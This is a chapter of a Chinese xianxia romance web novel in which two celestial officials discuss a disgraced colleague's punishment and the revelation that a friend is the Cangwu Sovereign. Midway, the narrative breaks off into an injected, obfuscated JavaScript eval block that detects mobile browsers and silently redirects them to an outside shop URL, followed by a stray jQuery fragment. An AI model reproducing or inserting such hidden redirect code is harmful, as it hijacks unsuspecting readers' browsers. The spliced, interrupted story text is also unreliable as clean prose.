天界玄医天殿一派清和,云卷云舒,有风拂过满院的灵竹,碎落了一地的光影。
院中放了一张矮桌两把摇椅,萧明夷和解知微分躺其上,仙侍小童忙前忙后,一会儿端茶倒水,一会儿奉上灵果糕点。
“素曜仙君,这茶是不是凉了,我再给您重新倒一杯。”仙侍小童站在矮桌一侧,用手背试了一下解知微身旁茶杯的温度,皱着眉问道。
解知微还不曾开口,萧明夷立刻道:“再给我倒一杯吧,我都喝完了。”
“水在旁边你自己不会倒么?”仙侍小童连一个眼神都没有给萧明夷,又笑着对解知微道:“素曜仙君这软枕可还舒适,您公务繁忙,不如让我为您垂肩松骨,舒缓心神。”
“啊?哎,不用不用,挺好,挺好。”解知微立刻摆了摆手。
萧明夷撑起半个身子喊道:“你什么时候还学了这门手艺?给我捏啊,我这浑身不得劲儿,快!让我看看你手法如何。”
仙侍小童完全不理睬萧明夷,甚至还侧身站了站,挡住了萧明夷使劲儿打眼色的模样,万分谦卑地向解知微行了个礼,“实在不好意思,让您见笑了,素曜仙君。”
“不是!你什么意思!我怎么就见笑了!”萧明夷试图把挡在面前的仙侍小童扒拉开,但对方纹丝不动。
解知微尴尬地笑了一声,“没事没事,我习惯了,挺好,挺好。”
萧明夷推不开挡在面前的仙侍小童,只好抻着脖子从小童身后探出半张脸,“你又是什么意思,什么叫习……哎?哎!”
话音还未落地,仙侍小童手一抬又把萧明夷的脑袋按了回去,“素曜仙君莫要在意,您试试这糕点可还合您胃口?不喜欢我再去换别的,听说您爱吃人界的糕点,我也学了几种,马上就能做好。”
“啊?不,不用麻烦了……”解知微坐在摇椅上,姿势却比打功练坐时还要板正。
萧明夷翻了个白眼仰倒进摇椅里,双手垫在脑后,冷哼一声道:“你家素曜仙君最爱吃人界的桂花糕。”
仙侍小童这会儿倒是能听见萧明夷说话了,立刻点了点头,又朝解知微躬身行礼,“那仙君在此歇息片刻,我这就去给您做。”
“啊?不用不用,哎这太麻烦了!”解知微想要伸手去拦,对方却已经快步离开,绕过萧明夷的时候还低声嘱咐了一句什么,萧明夷听了又翻了个白眼。
解知微看着仙侍小童远去的背影,又看回来萧明夷哼哼气气的样子,问道:“说什么了?”
“哼!让我少添乱!我在自己府邸还能给他添什么乱!”萧明夷翘着腿晃了晃摇椅,“这玄医天殿怕不是要换主人喽,你说是吧,素曜仙君?”
解知微看着萧明夷装模作样地摇头叹气,忍不住笑道:“好了,你这小童也是为你好,你出事的时候,人家可是为了你在司命殿里舌战群儒,威逼利诱,若不是打不过那群神官,他怕是要当场动手把人都拖过去救你了。”
“这倒是真的。”萧明夷眼中尽是满满的自得和暖意,嘴巴都快咧到后脑勺去了,“算我平日里没白疼这小子!”
闲话片刻,院中茶香四溢,解知微慢慢躺回摇椅里,语气轻缓又带着一丝试探,“时砚……现在还是不肯见你吗?”
轻快愉悦的气氛瞬间消散,萧明夷长长地叹了口气,摇了摇头,“不见,我在洗灵池外喊半天,里面连一点回应都没有,若不是知道他出不去,我都要以为里面是空的了。”
解知微听了这话,心里也不是滋味。
那日从人界回来,执缨要和圣君去处理紧急公务,匆匆就与他们告了别,解知微看着陆川走得飞快,心中万分怀疑对方是不是在躲她,再回头想找龙泉多问两句,却连半个影子都没看到,这小子早不知道什么时候溜了!最后只剩下她和萧明夷带着失魂落魄的时砚去述职。
天枢当场剥去了时砚所有的灵力,并施下锁灵咒,防止他恢复修行。
清算完时砚的所有罪行,最终司命殿判其于洗灵池忏悔十年,十年期满后再带着灵咒去人界清除浊气残障,此过程中若是沾染凡界病痛不可用灵气净化,需亲身体会凡人之痛,直到自身业障完全消除为止。
因为萧明夷是其提携举荐之人,所以由萧明夷亲自监督。
判罚下来的时候,整个司命殿寂静无声,时砚只有在听到全程由萧明夷监督的时候肩膀动了一下却又立马塌了下去外,其余时刻完全就是认罪伏诛,半句辩解的意思都没有的样子。
解知微眉头紧皱,萧明夷脸色也相当难看。
洗灵池并不是一个池子,而是专门用来关人仙神官的天界禁地之一。受罚的神官在这里会被天罚之力控制,强行观看灵池中展示的因为自己过错而酿成的惨剧,日日循环往复,直到期满。
这十年,时砚时时刻刻都要面对玄都国的惨状,不治而死被推进尸坑焚烧的老弱病残,家庭破碎流离失所的百姓,耽误了归期妻离子散的游民……
这对大恶不知悔改的罪神没有任何震慑,但是对于时砚这种并非主观意愿犯下罪行且本就懊悔痛苦的人而言可以说是巨大的折磨。
但是解知微总觉得就算司命殿不这么判,依时砚自己的性格来,他同样会想出类似的办法来惩罚自己。
“算了,不见就不见吧,就算再怎么躲,十年后不还是要我亲自监督他干苦力。”萧明夷说得无奈,眼底满是酸涩,自己之后还要再亲眼看着时砚赎罪忏悔,这对他何尝又不是一种折磨呢?想到这里,萧明夷语气中带着疲惫与煎熬,悻悻道:“这司命殿真是手段了得,知道怎么样才最诛心,当真是一群冷酷无情的——”
说话声戛然而止,萧明夷像是突然反应过来什么,偷偷抬眼打量了一下解知微的脸色,见对方神色平静,眉眼无波似是全然没有在意他说话的样子,不禁挑了下眉。
那天执缨跟着他们一起回天界的时候,他就知道解知微肯定已经知道了陆川的真实身份,这会儿他提起司命殿,对方却一点反应都没有,难道她其实根本就不在意?
萧明夷实在忍不住心中好奇,思忖片刻还是试探道:“说起来真是世事难料,没想到你常挂在嘴边的人界好友居然就是苍梧圣君啊,哈哈哈……哈……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635167|204246||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑声被掐断在喉咙里,解知微面无表情地看着他,萧明夷咽了口口水,低声辩解:“那我也不是故意要帮着他向你隐瞒身份的,你也知道,当时事发突然,我一时没反应过来就顺着他演下去了……而且那毕竟是苍梧圣君啊,我这也不敢得罪他啊……”
解知微嫌弃地看了他一眼,“知道你怂。”早在溯天镜里的时候,她就已经见识过萧明夷在圣君面前低眉顺眼的窝囊样了。
萧明夷闻言干笑两声也不敢反驳。
解知微缓缓起身,整理了一下衣袖,抬头望了一下翻涌的云浪,轻声叹道:“祈愿神殿里的卷轴怕是要堆积成山了,我还是早点回去干活儿吧,你也一堆事情要忙,我就不打扰了。”
“唉,我送你。”萧明夷也起身。
二人在府门处告别。
清风拂过额间发丝,四周是天界常年不散的仙雾,解知微独自走在空荡荡的玉砖廊道上,心底思绪翻飞,万千疑惑涌上心头最后又尽数散开,过往所有被她刻意忽略的疑点,此刻全部串联在一起,清晰无比。
龙泉说他和陆川是至交好友,可是龙泉常年驻守北地,百年间回天界的次数寥寥无几,且他一条神龙又怎么会和一个飞升没多久的人仙当朋友?
陆川还说自己在司命殿任职,直接和天枢共事。可是司命殿隶属圣君麾下,是天界权重最高的大殿之一,天枢直接向圣君汇报公事,何曾与其他神官并肩而立过?而且所有神官述职必须先去司命殿,她接手任务频繁,数次汇报却一次都没见过陆川,已是相当神奇。
再加上陆川人皇气运加身,此等天祥贵重之人飞升,她却一点风声都没听到过……
是啊,如果陆川就是圣君,那一切就都说得通了,从来都不是人皇气运之子飞升,而是苍梧圣君历劫归来,这件事倒是在神官中流传甚广,什么圣君归来,迟迟不归位之类的。
其实她也有过怀疑,陆川是人的时候,并没有灵脉无法修仙,不是通过修道却能飞升天界,怎么想也不应该是人族,定是哪位高贵的上仙下凡历劫,但是任她想破了头,也不敢想到圣君头上,那样至高无上,不可亵渎的神明,怎么会把眼光施舍给她这样的无名之辈?
她忍不住开始回忆在人界的一点一滴,那人的注视,那人的关怀,那人的执着,那人的痛苦纠缠……她怎么敢!她怎么敢?
圣君银色的发丝闪着神圣的光芒,周身威压沉重不可侵犯,他一人高高立于九天之上,眼神悲悯俯视众生。
路在无知无觉中走到了尽头,祈愿神殿就在前方,解知微停下了脚步。
殿门前一道熟悉的身影静静立在那里。
陆川一身青色长袍,衣袂被风吹动,往日里沉稳淡然,遇事从容不迫的样子荡然无存。他指尖微蜷,看到解知微的身影,立刻僵在原地,神色紧张,小心翼翼地看着她,像是一个做错了事,满心惶恐等待责罚的孩子。
四目相对的刹那,眼前人渐渐与那道白色的身影满满重叠。
解知微控制不住地想起了那个曾经茫然无措死死抱着她尸体的少年。